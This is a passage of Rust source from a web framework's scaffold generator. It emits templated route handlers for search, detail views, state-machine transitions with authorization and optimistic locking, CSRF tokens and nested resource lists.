/// Powers the `active_search` box on the index list. Ranked by relevance via
/// the repository's owner-scoped `search_page_scoped`; an empty `q` falls back
/// to the owner-scoped `list_scoped` listing. htmx requests get only the
/// results fragment; non-htmx navigations (a bookmarked search URL, or a pager
/// link) get a full page so search still works without JavaScript. Every result
/// is filtered to the authenticated user (owner column `{owner_col}`); this
/// handler never calls the unscoped `search_page`/`page`.
#[derive(serde::Deserialize)]
pub struct {pascal_name}SearchQuery {{
#[serde(default)]
pub q: String,
}}
#[secured]
#[get("/{plural}/search")]
pub async fn search(
{locale_param}autumn_web::extract::Query(query): autumn_web::extract::Query<{pascal_name}SearchQuery>,
autumn_web::reexports::axum::extract::RawQuery(raw_query): autumn_web::reexports::axum::extract::RawQuery,
list_query: ListQuery,
page_req: PageRequest,
hx: autumn_web::htmx::HxRequest,
autumn_web::extract::State(state): autumn_web::extract::State<autumn_web::AppState>,
session: autumn_web::session::Session,
repo: Pg{pascal_name}Repository,
{index_db_param}flash: Flash,{bulk_csrf_params}
) -> AutumnResult<Markup> {{
let ctx = autumn_web::authorization::PolicyContext::from_request(&state, &session).await;
let owner_id = ctx.user_id_i64().unwrap_or(-1);
let q = query.q.trim();
// Preserve the request's raw query string (already percent-encoded) on pager
// links so `q` survives pagination; `PagerOptions::query` strips the stale
// `page`/`size` params and re-adds them per link.
let pager_query = raw_query.as_deref().unwrap_or("");
let page_data: Page<{pascal_name}> = if q.is_empty() {{
repo.list_scoped(owner_id, &list_query, &page_req).await?
}} else {{
repo.search_page_scoped(owner_id, q, &page_req).await?
}};
{index_label_loads}{index_columns_labeled} let results = html! {{
{search_results_body}
}};
if hx.is_htmx {{
return Ok(results);
}}
Ok({layout_fn}({search_title}, {cp_index}{flash_arg}, html! {{
h1 {{ {search_heading} }}
a href="/{plural}" {{ {back_to_list_markup} }}
div id="{plural}-search-results" {{ (results) }}
}}))
}}"#
)
} else if search_enabled {
let field_list = searchable.join(", ");
let (repo_extractor, repo_bind) = if sharded {
(
format!(" {sharded_index_db},\n"),
format!(" let repo = Pg{pascal_name}Repository::from_shard(&db);\n"),
)
} else {
(
format!(" repo: Pg{pascal_name}Repository,\n {index_db_param}"),
String::new(),
)
};
format!(
r#"
/// `GET /{plural}/search` — full-text search over {field_list}.
///
/// Powers the `active_search` box on the index list. Ranked by relevance via
/// the repository's `search_page`; an empty `q` falls back to the plain
/// `page(&page_req)` listing. htmx requests get only the results fragment;
/// non-htmx navigations (a bookmarked search URL, or a pager link) get a full
/// page so search still works without JavaScript.
#[derive(serde::Deserialize)]
pub struct {pascal_name}SearchQuery {{
#[serde(default)]
pub q: String,
}}
#[get("/{plural}/search")]
pub async fn search(
{locale_param}autumn_web::extract::Query(query): autumn_web::extract::Query<{pascal_name}SearchQuery>,
autumn_web::reexports::axum::extract::RawQuery(raw_query): autumn_web::reexports::axum::extract::RawQuery,
page_req: PageRequest,
hx: autumn_web::htmx::HxRequest,
{repo_extractor} flash: Flash,{bulk_csrf_params}
) -> AutumnResult<Markup> {{
{repo_bind} let q = query.q.trim();
// Preserve the request's raw query string (already percent-encoded) on pager
// links so `q` survives pagination; `PagerOptions::query` strips the stale
// `page`/`size` params and re-adds them per link.
let pager_query = raw_query.as_deref().unwrap_or("");
let page_data: Page<{pascal_name}> = if q.is_empty() {{
repo.page(&page_req).await?
}} else {{
repo.search_page(q, &page_req).await?
}};
{index_label_loads}{index_columns_labeled} let results = html! {{
{search_results_body}
}};
if hx.is_htmx {{
return Ok(results);
}}
Ok({layout_fn}({search_title}, {cp_index}{flash_arg}, html! {{
h1 {{ {search_heading} }}
(autumn_web::a11y::Link::new("/{plural}", {back_to_list}))
div id="{plural}-search-results" {{ (results) }}
}}))
}}"#
)
} else {
String::new()
};
format!(
r"//! Generated by `autumn generate scaffold`.
//!
//! HTML route handlers for the resource. Edit freely — once generated,
//! these are ordinary user code.
{attachment_note}
use autumn_web::extract::Path;
{i18n_imports}use autumn_web::pagination::{{Page, PageRequest}};
{sort_imports}use autumn_web::reexports::axum::body::Bytes;
{serde_json_import}use autumn_web::security::{{CsrfFormField, CsrfToken, SubmitFormField, SubmitToken}};
use autumn_web::ui::pagination::{{PagerOptions, pagination_nav}};
{db_import}
use diesel::prelude::*;
use diesel_async::RunQueryDsl;
use crate::models::{snake_name}::{{{pascal_name}, New{pascal_name}{update_model_import}{enum_import_suffix}}};
use crate::repositories::{snake_name}::{{{pascal_name}Repository, Pg{pascal_name}Repository}};
use crate::schema::{schema_import};",
attachment_note = if has_attachments {
"//!\n\
//! This scaffold includes file-attachment fields. Uploads work with ZERO\n\
//! JavaScript: the generated `<form>` sets `enctype=\"multipart/form-data\"`,\n\
//! and the `create`/`update` handlers accept an `autumn_web::extract::Multipart`\n\
//! body, stream each file part straight to the configured blob store with\n\
//! `MultipartField::save_to_blob_store`, and persist the resulting `Blob` on\n\
//! the record. An edit that doesn't re-upload preserves the existing\n\
//! attachment, and the show/edit views render the stored file through a\n\
//! signed, time-bounded URL (`attachment_url`/`attachment_link` below).\n\
//!\n\
//! SIZE LIMITS: a file part larger than `security.upload.max_file_size_bytes`\n\
//! (default 16 MiB) is rejected with 413, and a request larger than\n\
//! `security.upload.max_request_size_bytes` (default 32 MiB) is rejected by\n\
//! the global body cap. CSRF adds no ceiling of its own: the generated form\n\
//! renders the CSRF and submit-token hidden inputs as its FIRST fields, so\n\
//! the browser sends them well inside `security.csrf.token_scan_bytes`\n\
//! however large the upload is — keep them first if you hand-edit the form.\n\
//!\n\
//! The `storage` + `multipart` features are enabled on `autumn-web`\n\
//! automatically; configure `[storage]` in `autumn.toml` (local disk for dev,\n\
//! S3 for prod).\n\
//!\n\
//! ADVANCED (opt-in): for very large files you can bypass the app process with\n\
//! presigned direct-to-storage uploads — a CSRF-protected endpoint calls\n\
//! `store.presign_put()`, the browser PUTs directly to storage, then\n\
//! `autumn_web::storage::complete_direct_upload()` confirms the object (see the\n\
//! `direct_upload_input` form helper and the `examples/reddit-clone` app). That\n\
//! path requires JavaScript; the default multipart path above does not."
} else {
""
},
) + &{
// Issue #1130: standard scaffolds render through the app's shared
// `crate::layout`, so no private layout is emitted here. Live and
// live-validation views keep a local `layout` because they need extra
// `<head>` scripts (SSE/idiomorph) and a morph-enabled `<body>` the
// shared 4-arg shell can't express.
let private_layout = if shared_layout {
String::new()
} else {
// Load htmx + SSE extension whenever live features are active.
// `--live-validation` alone (without `--live`) still requires htmx
// for the `hx-post` / `hx-trigger` / `hx-swap` attributes to fire.
let live_head_scripts = if live {
"\n script src=(autumn_web::htmx::HTMX_JS_PATH) {};\n\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20script src=(autumn_web::htmx::HTMX_SSE_JS_PATH) {};\n\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20script src=(autumn_web::htmx::IDIOMORPH_JS_PATH) {};"
.to_owned()
} else {
"\n script src=(autumn_web::htmx::HTMX_JS_PATH) {};\n\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20script src=(autumn_web::htmx::HTMX_SSE_JS_PATH) {};"
.to_owned()
};
let live_body_open = if live {
r#"body hx-ext="morph""#
} else {
"body"
};
format!(
r#"
/// Wrap content in a minimal HTML layout for the live view (needs extra
/// `<head>` scripts and a morph-enabled `<body>` the shared layout omits).
///
/// Pass `flash_messages(&flash.consume().await)` for the `flash` argument so
/// one-shot notices (set with `flash.success(...)` before a redirect) appear
/// on the next page.
fn layout(title: &str, flash: Markup, content: Markup) -> Markup {{
html! {{
(autumn_web::PreEscaped("<!DOCTYPE html>"))
html lang="en" {{
head {{
meta charset="utf-8";
title {{ (title) }}
link rel="stylesheet" href=(autumn_web::flash::FLASH_CSS_PATH);{live_head_scripts}
}}
{live_body_open} {{
(flash)
(content)
}}
}}
}}
}}
"#
)
};
// Issue #1326: the `show` detail section. Without a state machine this is
// exactly the pre-#1326 inline `show` handler (byte-identical output).
// With one or more `:states(…)` fields it becomes a shared `show_view`
// helper (rendered by `show` AND each transition handler's 422 re-render),
// a `show` handler threading CSRF for the transition forms, and one
// `POST /{plural}/{{id}}/transitions/{field}` handler per state-machine
// field.
// Issue #1323 AC5: the child's detail page links back to the parent it
// belongs to, closing the loop the parent's children list opens. Empty
// without `--belongs-to`.
let show_parent_backlink = nesting.map_or_else(String::new, |n| {
format!(
"\n \" \"\n (autumn_web::a11y::Link::new(crate::routes::{}::paths::show(row.{}), \"Back to {}\"))",
n.parent_plural, n.fk, n.parent_pascal
)
});
let show_section = if has_state_machine {
// `show_view` only touches the DB when it must resolve reference
// display labels (issue #1146); otherwise the connection is unused, so
// name it `_db` (and drop `mut`) to keep the generated crate
// warning-free.
let show_view_db_param = if show_label_loads.trim().is_empty() {
format!("_db: {db_ty}")
} else {
format!("mut db: {db_ty}")
};
let show_transition_label_binds =
render_show_transition_label_binds(&sm_fields, snake_name, labels);
// #2227: the group label and each button's text come from
// autumn-web. Under `--i18n` the `_with_labels` variant takes them
// from the bundle instead. The bindings sit above the `html!`
// block (see `render_show_transition_label_binds`), because
// `TransitionLabels` borrows them.
let mut show_transition_controls = String::new();
for f in &sm_fields {
let field = &f.name;
let field_upper = f.name.to_uppercase();
let (variant, labels_arg) = if labels.enabled() {
("_with_labels", format!(", &l_tr_{field}_labels"))
} else {
("", String::new())
};
let _ = writeln!(
show_transition_controls,
" (autumn_web::widgets::transition_controls{variant}(&paths::transition_{field}(row.id), \"{field}\", &row.{field}, {pascal_name}::__AUTUMN_SM_{field_upper}_TRANSITIONS, |to| row.can_transition_{field}_to(to), csrf, csrf_field{labels_arg}))"
);
}
let show_view_fn = format!(
r#"/// Render the {snake_name} detail page — shared by the `show` handler and
/// each state-machine transition handler's 422 re-render, so the detail-page
/// markup has a single source of truth (issue #1326).
async fn show_view(
{show_view_locale_param}{show_view_db_param},
row: &{pascal_name},
flash: Markup,
csrf: Option<&CsrfToken>,
csrf_field: Option<&CsrfFormField>,{show_view_state_param}
) -> AutumnResult<Markup> {{
{show_label_loads}{show_view_attachment_url_binds}{show_prop_binds}{show_transition_label_binds} let props: Vec<(&str, maud::Markup)> = vec![
{show_rows} ];
Ok({layout_fn}({show_view_title}, {cp_show}flash, html! {{
h1 {{ {show_view_heading} }}
(autumn_web::widgets::property_list(&props))
{show_transition_controls} (autumn_web::a11y::Link::new(paths::index(), {back_to_list}))
" "
(autumn_web::a11y::Link::new(paths::edit(row.id), {edit_link_text})){show_parent_backlink}
}}))
}}"#
);
let show_handler = format!(
r#"/// `GET /{plural}/{{id}}` — show one {snake_name}.
#[get("/{plural}/{{id}}")]
pub async fn show(
{locale_param}id: Path<{id_rust}>,
mut db: {db_ty},
flash: Flash,
csrf: Option<CsrfToken>,
csrf_field: Option<CsrfFormField>,{show_state_param_line}
) -> AutumnResult<Markup> {{
let row: {pascal_name} = {plural}::table
.find(*id)
.select({pascal_name}::as_select())
.first(&mut *db)
.await
.map_err(AutumnError::not_found)?;
{show_authz_call} show_view({show_view_locale_arg}db, &row, {flash_arg}, csrf.as_ref(), csrf_field.as_ref(){show_view_state_arg_call}).await
}}"#
);
// #1326 security fix (IDOR): a transition mutates an existing row,
// so with record-policy wiring on — the default for non-`--api`
// scaffolds — the handler must record-authorize the actor against
// the loaded row before writing, using the same `"update"` action
// `update` uses. Without this, any authenticated user who knows
// another row's id could POST a transition and change its state,
// bypassing the record policy. It mirrors the `update`/`destroy`
// authorize preamble: the `State(state)` plus `session: Session`
// pair — a transition handler never carries a multipart `state`, so
// there is no attachment-reuse concern — and `&state` as the
// `AppState` receiver. With policy wiring off it emits nothing.
// #1236: with attachments the shared `show_view` needs the app state
// to sign the stored file's URL. The authorize wiring already injects
// one; under `--no-policy` the transition handler adds its own, and
// either binding shape coerces to `&AppState`.
let transition_authz_params = if authorize {
" autumn_web::extract::State(state): autumn_web::extract::State<autumn_web::AppState>,\n session: autumn_web::session::Session,\n"
} else if has_attachments {
" state: autumn_web::extract::State<autumn_web::AppState>,\n"
} else {
""
};
let transition_authz_call = if authorize {
format!(
" autumn_web::authorization::authorize::<{pascal_name}>(&state, &session, \"update\", &row).await?;\n"
)
} else {
String::new()
};
// #1318: a state transition is a read-modify-write — it loads the row,
// asks `transition_{field}_to` whether the edge is legal from the state
// it just read, then writes. With a lock column in play that sequence
// becomes a compare-and-swap against the version it read, for two
// reasons:
//
// * the guard stops two concurrent transitions out of the same source
// state from both committing. Both would pass the legality check
// against the stale row they each loaded, and an `id`-only `WHERE`
// would let the second silently overwrite the first;
// * the bump makes the transition visible to everyone else guarding on
// the version. Without it, an author holding an edit form opened
// before the transition saves successfully and is never told the
// record moved on — exactly the "changed by someone else" case the
// 409 banner promises.
//
// Every fragment is empty without a lock column, including the tuple
// parentheses: the emitted `.set(...)` must stay the single-expression
// pre-#1318 form byte for byte.
let (transition_set_open, transition_lock_bump, transition_set_close) =
if lock_version.is_some() {
(
"(",
format!(", {plural}::lock_version.eq({plural}::lock_version + 1)"),
")",
)
} else {
("", String::new(), "")
};
let transition_update_bind = if lock_version.is_some() {
"let updated = "
} else {
""
};
let transition_lock_filter = lock_version.map_or_else(String::new, |_| {
format!(".filter({plural}::lock_version.eq(row.lock_version))")
});
// Zero rows is ambiguous: the version moved between the load and the
// write, or the row was deleted outright. The block re-reads to tell
// them apart — 409 with the detail page re-rendered for a record
// someone else changed, 404 for one that is gone — rather than
// redirecting with a success flash for a transition that never
// happened, or offering a conflict page whose suggested reload cannot
// succeed. It renders the re-read row, not this request's snapshot: the
// reader is deciding again, and the legal edges may no longer be the
// ones they were shown.
//
// The re-read row must be re-authorized before it is rendered. The
// policy check earlier in this handler ran against `row`, the snapshot
// this request loaded, and a record policy can depend on mutable row
// data — the generated owner policy does — so the concurrent write that
// moved the version may also have moved the row out of this actor's
// reach. Rendering `current` unchecked would hand them its properties
// and transition controls. Empty without a policy.
let transition_conflict_reauthz = if authorize {
format!(
" autumn_web::authorization::authorize::<{pascal_name}>(&state, &session, \"update\", ¤t).await?;\n"
)
} else {
String::new()
};
let transition_conflict_block = lock_version.map_or_else(String::new, |_| {
format!(
" if updated == 0 {{\n \
// Zero rows is ambiguous — the version moved on, or the row\n \
// is gone entirely. Re-read to tell them apart, exactly as the\n \
// `update` handler does: a 409 for a record someone else\n \
// changed, a 404 for one that no longer exists. Without this a\n \
// concurrent delete would render a conflict page for a row that\n \
// cannot be reloaded.\n \
let current: Option<{pascal_name}> = {plural}::table\n \
.find(*id)\n \
.select({pascal_name}::as_select())\n \
.first(&mut *db)\n \
.await\n \
.optional()?;\n \
let Some(current) = current else {{\n \
return Err(AutumnError::not_found_msg(format!(\n \
\"{pascal_name} with id {{}} not found\", *id\n \
)));\n \
}};\n\
{transition_conflict_reauthz} \
flash.error({flash_stale}).await;\n \
// Render the row as it NOW stands, not the snapshot this\n \
// request loaded: the reader is deciding again, and the legal\n \
// transitions may well be different from the ones they saw.\n \
let view = show_view(\n \
{show_view_locale_arg_multiline}db,\n \
¤t,\n \
flash_messages(&flash.consume().await),\n \
csrf.as_ref(),\n \
csrf_field.as_ref(){show_view_state_arg_call},\n \
)\n \
.await?;\n \
return Ok((autumn_web::reexports::http::StatusCode::CONFLICT, view).into_response());\n \
}}\n"
)
});
let mut transition_handlers = String::new();
for f in &sm_fields {
let field = &f.name;
// Per FIELD as well as per resource: "Post status updated" and
// "Post visibility updated" are different sentences, and a
// model can carry more than one state-machine column.
let flash_transitioned = labels.lit(
&format!("{snake_name}.flash.{field}_updated"),
&format!("{pascal_name} {field} updated"),
);
// Issue #1349: the REJECTION is user-facing too, and it is the
// one an ordinary reader is most likely to hit. `err` here is
// the model method's error, whose Display is built in
// autumn-macros as a hardcoded English "Cannot transition …" —
// a string this generator cannot route a `t!` through. So under
// `--i18n` the flash carries a translated message instead of
// the error's own text. One shared key: the sentence does not
// vary by field, and the specifics it drops (which edge was
// refused) are developer detail rather than something an author
// clicking a button can act on.
let flash_rejected = labels.expr(
"common.transition.rejected",
"That change is not allowed from the current state.",
"err.to_string()",
&[],
);
let handler = format!(
r#"/// `POST /{plural}/{{id}}/transitions/{field}` — apply a `{field}` state
/// transition (issue #1326). A legal edge persists the new `{field}` value and
/// redirects to the detail page; an illegal edge (or a rejected guard)
/// re-renders that page at 422 with the record left unchanged.
#[secured]
#[post("/{plural}/{{id}}/transitions/{field}")]
pub async fn transition_{field}(
{locale_param}id: Path<{id_rust}>,
mut db: {db_ty},
flash: Flash,
csrf: Option<CsrfToken>,
csrf_field: Option<CsrfFormField>,
{transition_authz_params} body: Bytes,
) -> AutumnResult<autumn_web::reexports::axum::response::Response> {{
use autumn_web::reexports::axum::response::IntoResponse as _;
let row: {pascal_name} = {plural}::table
.find(*id)
.select({pascal_name}::as_select())
.first(&mut *db)
.await
.map_err(AutumnError::not_found)?;
{transition_authz_call} let submitted: std::collections::HashMap<String, String> =
url::form_urlencoded::parse(body.as_ref()).into_owned().collect();
let target = submitted.get("{field}").cloned().unwrap_or_default();
match row.transition_{field}_to(&target) {{
Ok(new_state) => {{
{transition_update_bind}diesel::update({plural}::table.find(*id){transition_lock_filter})
.set({transition_set_open}{plural}::{field}.eq(new_state){transition_lock_bump}{transition_set_close})
.execute(&mut *db)
.await?;
{transition_conflict_block} flash.success({flash_transitioned}).await;
Ok(autumn_web::Redirect::to(&paths::show(*id)).into_response())
}}
Err(err) => {{
flash.error({flash_rejected}).await;
let view = show_view(
{show_view_locale_arg_multiline}db,
&row,
flash_messages(&flash.consume().await),
csrf.as_ref(),
csrf_field.as_ref(){show_view_state_arg_call},
)
.await?;
Ok((autumn_web::reexports::http::StatusCode::UNPROCESSABLE_ENTITY, view).into_response())
}}
}}
}}"#
);
if !transition_handlers.is_empty() {
transition_handlers.push_str("\n\n");
}
transition_handlers.push_str(&handler);
}
format!("\n\n{show_view_fn}\n\n{show_handler}\n\n{transition_handlers}\n")
} else {
format!(
r#"
/// `GET /{plural}/{{{id_url_segment}}}` — show one {snake_name}.
#[get("/{plural}/{{{id_url_segment}}}")]
pub async fn show({locale_param_inline}{id_param_decl}, mut db: {db_ty}, flash: Flash{show_state_param}) -> AutumnResult<Markup> {{
let row: {pascal_name} = {plural}::table
.{find_expr}
.select({pascal_name}::as_select())
.first(&mut *db)
.await
.map_err(AutumnError::not_found)?;
{show_authz_call}{show_label_loads}{show_attachment_url_binds}{show_prop_binds} let props: Vec<(&str, maud::Markup)> = vec![
{show_rows} ];
Ok({layout_fn}({show_title}, {cp_show}{flash_arg}, html! {{
h1 {{ {show_heading} }}
(autumn_web::widgets::property_list(&props))
(autumn_web::a11y::Link::new(paths::index(), {back_to_list}))
" "
(autumn_web::a11y::Link::new(paths::edit({route_key_display_expr}), {edit_link_text})){show_parent_backlink}
}}))
}}
"#
)
};
format!(
r#"
fn csrf_input(csrf: Option<&CsrfToken>, field: Option<&CsrfFormField>) -> Markup {{
let csrf_field_name = field.map(|field| field.0.as_str()).unwrap_or("_csrf");
html! {{
@if let Some(csrf) = csrf {{
input type="hidden" name=(csrf_field_name) value=(csrf.token());
}}
}}
}}
/// Emit the hidden one-time submit-token field (issue #1360). Consumed once by
/// the framework's `SubmitTokenLayer`, so a double-click or Back→resubmit
/// replays the first response instead of creating a duplicate row. The field
/// name follows `security.submit_token.field_name` (default `_submit_token`) so
/// a customised name still matches what the layer scans for.
fn submit_token_input(submit_token: Option<&SubmitToken>, field: Option<&SubmitFormField>) -> Markup {{
let submit_field_name = field.map(|field| field.0.as_str()).unwrap_or("_submit_token");
html! {{
@if let Some(submit_token) = submit_token {{
input type="hidden" name=(submit_field_name) value=(submit_token.token());
}}
}}
}}
{bulk_ids_parser}{attachment_read_back_helpers}{private_layout}
{index_handler}{bulk_delete_fn}{export_csv_fn}{csv_import_fn}{trash_section}{reorder_section}{show_section}
/// `GET /{plural}/new` — render the new-{snake_name} form.
#[secured]
#[get("/{plural}/new", name = "new")]
pub async fn new_form(
{locale_param}{new_form_db_param}flash: Flash,
csrf: Option<CsrfToken>,
csrf_field: Option<CsrfFormField>,
submit_token: Option<SubmitToken>,
submit_field: Option<SubmitFormField>,
) -> AutumnResult<Markup> {{
let changeset = Changeset::new({pascal_name}Form::default());
Ok({new_form_body})
}}
{unique_constraints_const}{create_fn}
/// `GET /{plural}/{{{id_url_segment}}}/edit` — render the edit form. Submission goes to
/// the `update` handler below as a plain HTML POST (browsers can't submit
/// PUT directly without JS); the auto-generated JSON `PUT /api/{plural}/{{id}}`
/// remains available for API clients.
#[secured]
#[get("/{plural}/{{{id_url_segment}}}/edit", name = "edit")]
pub async fn edit_form(
{locale_param}{id_param_decl},
mut db: {db_ty},
flash: Flash,
csrf: Option<CsrfToken>,
csrf_field: Option<CsrfFormField>,
submit_token: Option<SubmitToken>,
submit_field: Option<SubmitFormField>,{edit_destroy_authz_params}{edit_form_state_param}
) -> AutumnResult<Markup> {{
let row: {pascal_name} = {plural}::table
.{find_expr}
.select({pascal_name}::as_select())
.first(&mut *db)
.await
.map_err(AutumnError::not_found)?;
{authz_edit_call}let changeset = Changeset::new({pascal_name}Form::from(&row));
{edit_lock_binds}{edit_current_bind}Ok({edit_form_body})
}}
{update_fn}
/// `POST /{plural}/{{{id_url_segment}}}/delete` — delete a row, then redirect to the list.
/// Browsers can't submit `DELETE` without JS, so the show page's delete button
/// posts here; the JSON `DELETE /api/{plural}/{{id}}` stays available for API
/// clients via the auto-generated repository handler. Honours the resource's
/// soft-delete configuration (marks `deleted_at` when `--soft-delete` is set).
#[secured]
#[post("/{plural}/{{{id_url_segment}}}/delete", name = "delete")]
pub async fn destroy(
{locale_param}{id_param_decl},
{destroy_signature_arg},
flash: Flash,
) -> AutumnResult<autumn_web::Redirect> {{
{authz_destroy_preamble}{destroy_stmt}
if deleted == 0 {{
return Err(AutumnError::not_found_msg(format!(
"{pascal_name} with id {{}} not found", {id_value_expr}
)));
}}
flash.success({flash_destroyed}).await;
Ok(autumn_web::Redirect::to(&paths::index()))
}}
{form_struct}
{parse_datetime_helper}{bytea_helpers}
{into_new_fn}
{from_row_impl}
{form_model_impl}
{form_for_helper}{decode_form_sig} {{
let pairs: Vec<_> = url::form_urlencoded::parse(body.as_ref())
.filter(|(key, value)| !(value.is_empty() && is_nullable_form_field(key)))
.collect();
let encoded = url::form_urlencoded::Serializer::new(String::new())
.extend_pairs(pairs.iter().map(|(key, value)| (key.as_ref(), value.as_ref())))
.finish();
let form: {pascal_name}Form = serde_urlencoded::from_str(&encoded)
.map_err(|err| AutumnError::bad_request_msg(format!("invalid form submission: {{err}}")))?;
Ok(form)
}}
fn is_nullable_form_field({nullable_form_field_param}: &str) -> bool {{
{nullable_field_match}
}}
{lock_version_parser}"#
)
} + &if live {
format!(
r#"
/// `GET /{plural}/events` — Server-Sent Events stream for live updates.
#[get("/{plural}/events")]
pub async fn events(
state: autumn_web::extract::State<autumn_web::AppState>,
) -> impl autumn_web::reexports::axum::response::IntoResponse {{
autumn_web::sse::stream(&state, "{plural}")
}}"#
)
} else {
String::new()
} + &validate_handlers
+ &preview_handlers
+ &paths_macro
+ &search_handler
+ &nested_section
+ &attachment_read_back_unit_tests
}
/// Render the `--belongs-to` nested surface appended to the child's routes
/// module (issue #1323): the shared `children_section` the parent's own `show`
/// view renders, the full-page `nested_view` wrapper, and the two nested
/// handlers (`GET`/`POST /<parents>/{<fk>}/<children>`).
///
/// Returns the empty string for every flat scaffold, so a resource generated
/// without `--belongs-to` keeps byte-for-byte the output it had before this
/// feature existed.
#[allow(
clippy::too_many_arguments,
clippy::fn_params_excessive_bools,
clippy::too_many_lines,
reason = "one template — the whole point is a single place that prints one \
coherent block of generated code"
)]
fn render_nested_section(
// Passed through to the child list's column vec (issue #1924).
backend: DatabaseBackend,
pascal_name: &str,
snake_name: &str,
plural: &str,
nesting: &super::nested::Nesting,
// The FORM field list (the same one the flat index/forms render from).
fields: &[Field],
reference_fields: &[&Field],
reference_displays: &BTreeMap<String, ReferenceDisplay>,
route_key_field: Option<&str>,
soft_delete: bool,
has_state_machine: bool,
has_lock_version: bool,
has_unique: bool,
authorize: bool,
// The owner column the flat index scopes its list to (issue #1125/#1830), or
// `None` when this scaffold has none. `Some` makes the nested list carry the
// SAME owner scoping, so nesting can never widen what a resource discloses.
owner_scoped: Option<&str>,
layout_fn: &str,
cp_nested: &str,
flash_arg: &str,
) -> String {
let fk = nesting.fk.as_str();
let parent_plural = nesting.parent_plural.as_str();
let parent_pascal = nesting.parent_pascal.as_str();
let parent_snake = nesting.parent_snake.as_str();
let route = nesting.route_path(plural);
// The parent foreign key is dropped from the child list's columns: in a
// list already scoped to one parent it is the same value on every row, so a
// column for it is pure noise (and, with #1146 display labels, an extra
// query per page for a value the page title already states).
let list_fields: Vec<Field> = fields.iter().filter(|f| f.name != fk).cloned().collect();
// Display-label maps for the remaining `references` columns, mirroring what
// the flat index loads (#835: scoped to `page_data.content`'s own FK
// values via `WHERE id = ANY(...)`, not a full-table load — the nested
// list is paginated exactly like the flat index, so the same over-fetch
// applied here too). Written here rather than reusing
// `render_index_reference_label_loads` because this helper holds the
// connection as `&mut Db` (so a parent can render several children off one
// connection), which needs a double-deref reborrow (`&mut **db`) at each
// call site — matching `total`/`items` above, not the single-deref owned
// `db: Db` the flat index handlers take.
let mut label_loads = String::new();
for f in reference_fields {
if f.name == fk {
continue;
}
let Some(display) = reference_displays.get(&f.name) else {
continue;
};
let Some(table) = f.reference_table() else {
continue;
};
let name = &f.name;
let column = &display.column;
let (load_ty, label_expr) = if display.column_nullable {
("Option<String>", "label.unwrap_or_else(|| id.to_string())")
} else {
("String", "label")
};
let ids_expr = if f.nullable {
format!("page_data.content.iter().filter_map(|row| row.{name}).collect()")
} else {
format!("page_data.content.iter().map(|row| row.{name}).collect()")
};
let _ = writeln!(
label_loads,
" let {name}_ids: Vec<i64> = {ids_expr};\n \
let {name}_labels: std::collections::HashMap<String, String> = {table}::table\n \
.filter({table}::id.eq_any({name}_ids))\n \
.select(({table}::id, {table}::{column}))\n \
.load::<(i64, {load_ty})>(&mut **db)\n \
.await?\n \
.into_iter()\n \
.map(|(id, label)| (id.to_string(), {label_expr}))\n \
.collect();"
);
}
let columns = render_columns_vec(
backend,
pascal_name,
snake_name,
&list_fields,
reference_displays,
true,
route_key_field,
false,
// Issue #1349: `--belongs-to` is refused alongside `--i18n` upstream —
// this section splices markup into the PARENT's already-generated `show`
// handler, whose signature carries no `Locale` extractor — so the nested
// child list always renders the plain English labels.
&scaffold_i18n::ViewLabels::disabled(),
);
// Select options for the inline form's OTHER `references` columns. The
// parent FK gets an empty slice: `exclude_parent_fk` drops its control, so
// the options would never be rendered — loading them would be a wasted
// query on every parent show page.
let mut option_loads = String::new();
let mut option_args = String::new();
for f in reference_fields {
let name = &f.name;
if name == fk {
option_args.push_str(", &[]");
continue;
}
let _ = writeln!(
option_loads,
" let {name}_options = {name}_select_options(&mut *db).await?;"
);
let _ = write!(option_args, ", &{name}_options");
}
// The nested form is a CREATE form, so it mirrors the flat create call's
// trailing flags: keep state-machine columns (the initial state), no lock
// version to guard against — plus `true` for the nested-only FK exclusion.
let form_exclude_state = if has_state_machine { ", false" } else { "" };
let form_lock = if has_lock_version { ", None" } else { "" };
// Soft-deleted children must not resurface in the parent's list; the flat
// index gets this for free through the repository's soft-delete support,
// but this parent-scoped query is hand-written.
let deleted_filter = if soft_delete {
format!("\n .filter({plural}::deleted_at.is_null())")
} else {
String::new()
};
// Security (#1125/#1830 posture parity): when the flat `GET /{plural}` index is
// owner-scoped, the nested list must be too. Otherwise `--belongs-to` would quietly
// open a second, unscoped door onto the same rows — a child list scoped only by parent
// would disclose every user's children of that parent, including through the parent's
// public show page. The scoping lives in `children_section_with`, so both entry points,
// the nested page and the parent's show view, inherit it. The `AppState`/`Session` pair
// is always in the helper's signature, since the parent-side injection emits one fixed
// call shape, but is `_`-prefixed, and so warning-free, for a scaffold with no owner
// column.
let (state_param, session_param, owner_prelude, owner_filter) = owner_scoped.map_or_else(
|| (
"_state: &autumn_web::AppState",
"_session: &autumn_web::session::Session",
String::new(),
String::new(),
),
|owner_col| (
"state: &autumn_web::AppState",
"session: &autumn_web::session::Session",
" let ctx = autumn_web::authorization::PolicyContext::from_request(state, session).await;\n let owner_id = ctx.user_id_i64().unwrap_or(-1);\n"
.to_owned(),
format!("\n .filter({plural}::{owner_col}.eq(owner_id))"),
),
);
// The nested page is `#[secured]` exactly when the flat index is — i.e.
// whenever the list is owner-scoped and therefore only meaningful for a
// signed-in user.
let nested_index_secured = if owner_scoped.is_some() {
"#[secured]\n"
} else {
""
};
// Authorization mirrors the flat `create` exactly: a nested create is still
// a create, so it runs the same context-only `authorize_create` check
// against the same policy (issue #1125). Without policy wiring both
// fragments are empty and the handler is just path/flash/csrf/db/body.
let authz_call = if authorize {
format!(
" autumn_web::authorization::authorize_create::<{pascal_name}>(&state, &session).await?;\n"
)
} else {
String::new()
};
// The argument names `children_section` forwards to `children_section_with`
// — `_`-prefixed in lockstep with `{state_param}`/`{session_param}` so an
// unscoped scaffold stays warning-free.
let (state_arg, session_arg) = if owner_scoped.is_some() {
("state", "session")
} else {
("_state", "_session")
};
// A duplicate value on a `unique` column is a constraint violation, not a
// validation failure, so — exactly like the flat create (issue #1032) — it
// is classified into an inline field error and re-rendered at 422 rather
// than surfacing as a 500.
let insert_record = insert_record_expr(fields);
let insert_block = if has_unique {
format!(
" let result: AutumnResult<()> = async {{\n \
diesel::insert_into({plural}::table)\n \
.values({insert_record})\n \
.execute(&mut *db)\n .await?;\n \
Ok(())\n \
}}.await;\n \
if let Err(err) = result {{\n \
if let Some((field, message)) = autumn_web::error::unique_violation_field(&err, UNIQUE_CONSTRAINTS) {{\n \
let mut errors = std::collections::HashMap::new();\n \
